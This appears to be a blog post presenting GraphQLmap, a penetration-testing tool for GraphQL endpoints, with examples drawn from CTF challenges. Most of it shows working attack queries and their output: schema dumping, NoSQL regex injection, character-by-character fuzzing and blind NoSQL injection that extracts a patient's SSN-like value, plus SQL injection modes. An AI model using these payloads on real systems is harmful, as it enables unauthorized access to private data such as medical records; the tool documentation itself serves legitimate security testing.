GraphQLmap: scripting engine to interact with a graphql endpoint for pentesting purposes

by do son ·

GraphQLmap

GraphQLmap is a scripting engine to interact with a graphql endpoint for pentesting purposes.

Features and examples

⚠️ Examples are based on several CTF challenges from HIP2019.

Dump a GraphQL schema

Use dump to dump the GraphQL schema, this function will automatically populate the “autocomplete” with the found fields.

GraphQLmap > dump                     

============= [SCHEMA] ===============

e.g: name[Type]: arg (Type!)                   

                                                                                               

Query                                          

        doctor[]: email (String!),                                                             

        doctors[Doctor]:                                                                       

        patients[Patient]:                                                                     

        patient[]: id (ID!),                   

        allrendezvous[Rendezvous]:                                                             

        rendezvous[]: id (ID!),                                                                

Doctor                                         

        id[ID]:                                                                                

        firstName[String]:                     

        lastName[String]:                                                                      

        specialty[String]:                     

        patients[None]: 

        rendezvous[None]: 

        email[String]: 

        password[String]: 

[...]

 

 

Interact with a GraphQL endpoint

Write a GraphQL request and execute it.

GraphQLmap > {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admin\"} }"){firstName lastName id}}

{

    "data": {

        "doctors": [

            {

                "firstName": "Admin",

                "id": "5d089c51dcab2d0032fdd08d",

                "lastName": "Admin"

            }

        ]

    }

}

 

 

GraphQL field fuzzing

Use GRAPHQL_INCREMENT and GRAPHQL_CHARSET to fuzz a parameter.

GraphQLmap > {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"AdmiGRAPHQL_CHARSET\"} }"){firstName lastName id}}   

[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi!\"} }"){firstName lastName id}}   

[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi$\"} }"){firstName lastName id}}   

[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi%\"} }"){firstName lastName id}}   

[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi(\"} }"){firstName lastName id}}   

[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi)\"} }"){firstName lastName id}}   

[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi*\"} }"){firstName lastName id}}   

[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi+\"} }"){firstName lastName id}}   

[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi,\"} }"){firstName lastName id}}   

[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi-\"} }"){firstName lastName id}}   

[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi.\"} }"){firstName lastName id}}   

[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi/\"} }"){firstName lastName id}}   

[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi0\"} }"){firstName lastName id}}   

[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi1\"} }"){firstName lastName id}}     

[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi?\"} }"){firstName lastName id}}

[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admin\"} }"){firstName lastName id}}

 

 

NoSQLi injection

Use BLIND_PLACEHOLDER inside the query for the nosqli function.

GraphQLmap > nosqli

Query > {doctors(options: "{\"\"patients.ssn\":1}", search: "{ \"patients.ssn\": { \"$regex\": \"^BLIND_PLACEHOLDER\"}, \"lastName\":\"Admin\" , \"firstName\":\"Admin\" }"){id, firstName}}

Check > 5d089c51dcab2d0032fdd08d

[+] Data found: 4f537c0a-7da6-4acc-81e1-8c33c02ef3b

 

 

SQL injection

GraphQLmap > postgresqli

GraphQLmap > mysqli

GraphQLmap > mssqli

 

 

Download

git clone https://github.com/swisskyrepo/GraphQLmap.git

Use

Copyright (c) 2019 Swissky

Source: https://github.com/swisskyrepo/

Tags: GraphQLmap